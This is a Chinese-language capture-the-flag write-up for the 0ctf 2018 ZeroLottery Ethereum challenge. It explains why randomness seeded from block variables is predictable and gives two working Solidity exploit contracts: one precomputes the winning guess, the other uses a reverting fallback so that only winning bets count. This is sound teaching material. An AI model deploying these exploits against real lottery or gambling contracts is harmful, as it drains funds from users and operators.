0ctf 2018 ZeroLottery

知识点

  • 区块链的伪随机数问题。

方法一:伪随机数攻击

题目源码如下:

pragma solidity ^0.4.21;
contract ZeroLottery {
    struct SeedComponents {
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }

    uint private base = 8;

    address private owner;
    mapping (address => uint256) public balanceOf;

    function ZeroLottery() public {
        owner = msg.sender;
    }
    
    function init() public payable {
        balanceOf[msg.sender] = 100;   //初始化,初始金额100
    }

    function seed(SeedComponents components) internal pure returns (uint) {
        uint secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        return secretSeed;
    }
    
    function bet(uint guess) public payable {
        require(msg.value>1 ether);
        require(balanceOf[msg.sender] > 0);
        uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
        uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;

        if (guess != n) {
            balanceOf[msg.sender] = 0;
            // charge 0.5 ether for failure
            msg.sender.transfer(msg.value - 0.5 ether);//猜错了,扣0.5 ether.
            return;
        }
        // charge 1 ether for success
        msg.sender.transfer(msg.value - 1 ether); // 猜对了,1 ether换balance100
        balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
    }

    function paolu() public payable {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

}

题目要求:

Your goal is make your ZeroLottery’s balance > 500. After that, you can get the flag at http://192.168.201.18:5000/flag?wallet= page.

说白了就是要balance>500即可。
大致看一下代码,是个猜数字的游戏,重点关注数字的生成:

uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;

使用了block.coinbase,block.difficulty, block.gaslimit, block.timestamp来产生seed,因此区块变量都是可以在本地算出来的,因此利用区块变量的随机数都是伪随机数,直接攻击即可。先init,然后在本地算出要猜的数字,然后去bet,记得deploy合约的时候给合约转钱,至少转5块钱。

EXP:

pragma solidity ^0.4.21;
contract Attack {
    uint private base = 8;
    address owner;
    address targetAddr = 0xb38b494Ac58Ab7DcA4c0593481dE4CCE58a7b734;
    constructor() payable{
        owner=msg.sender;
        targetAddr.call(bytes4(keccak256("init()")));
        //give 6 ETH,why? I like hhhhh
    }
    function() payable external{
        
    }
    
    function hack() public {
        uint secretSeed = uint256(keccak256(
            (uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
        ));
        uint n = uint(keccak256(uint(this), secretSeed)) % base;
        
        targetAddr.call.value(1.2 ether)(bytes4(keccak256("bet(uint256)")),n);
    }
    function paolu() public payable {
        selfdestruct(owner);
    }
    function init() public {
        targetAddr.call(bytes4(keccak256("init()")));
    }
    
}

还有一点需要注意就是这里:

            msg.sender.transfer(msg.value - 0.5 ether);//猜错了,扣0.5 ether.
            return;
        }
        // charge 1 ether for success
        msg.sender.transfer(msg.value - 1 ether); // 猜对了,1 ether换balance100

如果要求传的钱>1 ether,而且猜完最多会退1ether,因此相当于一定会退钱回我们的攻击合约,因此攻击合约还要写一个fallback函数,我一开始就是因为忘了写,导致一直不成功。
攻击5次即可:

在这里插入图片描述

方法二:回滚攻击

利用点正是方法一中我没有注意到的地方,就是向只能合约转ether的时候,会调用它的fallback方法。我之前只知道这个可以用来重入攻击,其实也可以回滚攻击。
既然失败是扣0.5 ether,成功扣 1 ether,而且会调用我们的fallback函数,那就在fallback函数中判断一下退回来的钱,如果和失败的时候回退的钱数一样,那就抛出异常。
写个POC即可:

pragma solidity ^0.4.21;


contract Attack {
    address addr = 0x21106c363469FA680115096c2Ae757B4586C2a75;
    address owner;
    constructor() payable {
        owner = msg.sender;
        addr.call(bytes4(keccak256("init()")));
    }
    function() payable external {
        require(msg.value ==0.2 ether );
    }
    
    function hack() public {
        for(uint count=0;count<5;count++){
            for(uint n=0;n<8;n++){
                addr.call.value(1.2 ether)(bytes4(keccak256("bet(uint256)")),n); 
            }
        }
    }
    function kill() public {
        require(owner==msg.sender);
        selfdestruct(owner);
    }
}

问题

对于区块链中的伪随机数大致有了一定的了解,但唯一有些迷的就是block.timestamp,我一开始觉得本地不该能模拟block.timestamp的鸭,我以为就是本地计算seed时用到的block.timestamp,然后再调用bet函数,题目合约那边会再计算seed,其中用到的block.timestamp应该是不一样的鸭,但因为确实可以攻击成功,因此这两个block.timestamp确实是一样的,就让我有些疑惑,目前的猜测可能就是调用了hack函数然后到那边bet出结果,实际的代码花费的时间是极短的,因此block.timestamp相同,目前我的理解是这样。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值